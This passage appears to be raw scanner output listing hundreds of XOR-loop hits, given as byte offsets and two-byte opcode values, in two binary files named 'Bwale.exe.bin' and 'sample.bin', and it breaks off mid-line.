Found XOR loop in file "Bwale.exe.bin" at offset 513692; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 514881; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 514891; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 517050; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 519703; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 522358; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 524761; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 525948; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 525958; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 528177; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 530998; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 533318; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 534505; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 534515; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 536691; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 539294; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 541579; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 542766; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 542776; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 550158; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 550480; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 551930; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 554029; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 554376; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 556008; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 557473; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 558660; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 558670; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 560853; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 563736; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 564064; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 565513; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 577464; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 577811; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 579449; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 581608; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 581955; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 583594; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 590561; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 590889; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 592413; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 594510; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 594857; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 596474; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 598523; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 598854; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 600399; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 607317; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 607645; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 609094; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 611099; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 611421; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 612871; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 614890; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 615212; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 616662; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 623323; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 625617; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 626804; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 626814; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 628619; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 629806; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 629816; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 631630; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 632817; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 632827; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 634831; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 636027; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 636037; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 643023; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 645874; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 646195; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 647639; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 649319; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 652170; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 652491; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 653935; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 670850; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 673730; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 674051; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 675495; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 677496; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 677836; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 679337; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 681131; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 683748; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 686405; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 689003; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 690192; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 690202; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 692296; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 695187; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 695515; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 696964; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 703301; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 704497; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 704507; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 711170; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 712359; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 712369; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 719602; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 720798; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 720808; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 727805; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 730689; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 731011; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 732461; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 733862; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 735058; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 735068; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 742465; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 742812; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 744429; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 746488; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 746819; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 748364; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 750385; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 750713; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 752180; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 753933; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 756240; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 757427; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 757437; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 759274; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 760461; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 760471; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 762267; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 763454; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 763464; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 765430; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 766617; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 766627; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 768802; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 771129; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 772316; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 772326; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 774157; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 775344; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 775354; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 777496; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 780441; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 780775; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 782464; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 794453; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 794787; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 796368; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 818229; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 818550; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 820012; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 821754; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 824068; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 825246; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 825256; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 832615; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 832936; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 834385; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 836109; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 838787; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 841100; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 842281; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 842291; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 849611; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 849945; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 851487; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 853515; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 853836; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 855289; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 857035; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 859325; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 860512; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 860522; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 862670; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 865301; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 867945; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 870592; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 873237; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 875608; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 876795; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 876805; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 879012; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 881616; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 884485; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 884806; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 886250; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 887956; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 890304; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 891491; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 891501; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 893679; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 896334; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 899217; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 899557; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 901037; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 903101; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 903441; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 904921; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 911963; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 912297; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 913878; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 915360; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 916547; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 916557; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 924014; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 924348; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 926031; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 933086; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 933438; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 935107; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 937286; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 937638; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 939324; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 941406; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 941733; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 943220; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 945322; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 945656; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 947345; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 949455; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 949789; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 951475; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 958484; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 958824; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 960325; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 1004888; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 1005660; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 1005664; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 1336813; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 1361950; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 1383100; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 1592982; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 1919016; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 2020172; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 2055929; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 2067869; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 2075115; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 2089185; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 2094427; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 2095795; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 2097185; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 2097795; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 2099371; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 2101693; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 2126598; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 370642; code bytes = 33c1 Found XOR loop in file "Bwale.exe.bin" at offset 370776; code bytes = 33c1 Found XOR loop in file "Bwale.exe.bin" at offset 1301165; code bytes = 33c1 Found XOR loop in file "Bwale.exe.bin" at offset 1308493; code bytes = 33c1 Found XOR loop in file "Bwale.exe.bin" at offset 1480754; code bytes = 33c1 Found XOR loop in file "Bwale.exe.bin" at offset 1579469; code bytes = 33c1 Found XOR loop in file "Bwale.exe.bin" at offset 2065589; code bytes = 33c1 Found XOR loop in file "Bwale.exe.bin" at offset 2066983; code bytes = 33c1 Found XOR loop in file "Bwale.exe.bin" at offset 2078213; code bytes = 33c1 Found XOR loop in file "Bwale.exe.bin" at offset 2084129; code bytes = 33c1 Found XOR loop in file "Bwale.exe.bin" at offset 2089487; code bytes = 33c1 Found XOR loop in file "Bwale.exe.bin" at offset 632447; code bytes = 8030 Found XOR loop in file "Bwale.exe.bin" at offset 1015524; code bytes = 8030 Found XOR loop in file "Bwale.exe.bin" at offset 1200118; code bytes = 8030 Found XOR loop in file "Bwale.exe.bin" at offset 1255211; code bytes = 8030 Found XOR loop in file "Bwale.exe.bin" at offset 1316155; code bytes = 8030 Found XOR loop in file "Bwale.exe.bin" at offset 1435915; code bytes = 8030 Found XOR loop in file "Bwale.exe.bin" at offset 1546555; code bytes = 8030 Found XOR loop in file "Bwale.exe.bin" at offset 1910280; code bytes = 8030 Found XOR loop in file "Bwale.exe.bin" at offset 1912768; code bytes = 8030 Found XOR loop in file "Bwale.exe.bin" at offset 1919824; code bytes = 8030 Found XOR loop in file "Bwale.exe.bin" at offset 1939048; code bytes = 8030 Found XOR loop in file "Bwale.exe.bin" at offset 1962856; code bytes = 8030 Found XOR loop in file "Bwale.exe.bin" at offset 2027708; code bytes = 8030 Found XOR loop in file "Bwale.exe.bin" at offset 2059204; code bytes = 8030 Found XOR loop in file "Bwale.exe.bin" at offset 2059996; code bytes = 8030 Found XOR loop in file "Bwale.exe.bin" at offset 2060280; code bytes = 8030 Found XOR loop in file "Bwale.exe.bin" at offset 2085946; code bytes = 8030 Found XOR loop in file "Bwale.exe.bin" at offset 2088052; code bytes = 8030 Found XOR loop in file "Bwale.exe.bin" at offset 2090930; code bytes = 8030 Found XOR loop in file "Bwale.exe.bin" at offset 2092164; code bytes = 8030 Found XOR loop in file "Bwale.exe.bin" at offset 2092606; code bytes = 8030 Found XOR loop in file "Bwale.exe.bin" at offset 2092796; code bytes = 8030 Found XOR loop in file "Bwale.exe.bin" at offset 2093188; code bytes = 8030 Found XOR loop in file "Bwale.exe.bin" at offset 2095784; code bytes = 8030 Found XOR loop in file "Bwale.exe.bin" at offset 2097776; code bytes = 8030 Found XOR loop in file "Bwale.exe.bin" at offset 2098848; code bytes = 8030 Found XOR loop in file "Bwale.exe.bin" at offset 2101674; code bytes = 8030 Found XOR loop in file "Bwale.exe.bin" at offset 2106942; code bytes = 8030 Found XOR loop in file "Bwale.exe.bin" at offset 2112540; code bytes = 8030 Found XOR loop in file "Bwale.exe.bin" at offset 2128416; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 475597; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 478215; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 480560; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 481741; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 481751; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 483992; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 486964; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 487298; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 488861; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 495807; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 496147; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 497618; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 499633; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 499954; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 501407; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 502835; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 504031; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 504041; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 506151; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 508729; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 511358; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 513692; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 514881; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 514891; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 517050; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 519703; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 522358; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 524761; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 525948; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 525958; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 528177; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 530998; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 533318; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 534505; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 534515; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 536691; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 539294; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 541579; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 542766; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 542776; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 550158; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 550480; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 551930; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 554029; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 554376; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 556008; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 557473; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 558660; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 558670; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 560853; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 563736; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 564064; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 565513; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 577464; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 577811; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 579449; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 581608; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 581955; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 583594; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 590561; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 590889; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 592413; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 594510; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 594857; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 596474; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 598523; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 598854; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 600399; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 607317; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 607645; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 609094; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 611099; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 611421; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 612871; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 614890; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 615212; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 616662; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 623323; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 625617; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 626804; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 626814; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 628619; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 629806; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 629816; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 631630; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 632817; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 632827; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 634831; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 636027; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 636037; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 643023; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 645874; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 646195; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 647639; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 649319; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 652170; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 652491; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 653935; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 670850; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 673730; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 674051; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 675495; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 677496; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 677836; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 679337; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 681131; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 683748; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 686405; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 689003; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 690192; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 690202; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 692296; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 695187; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 695515; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 696964; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 703301; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 704497; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 704507; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 711170; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 712359; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 712369; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 719602; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 720798; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 720808; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 727805; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 730689; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 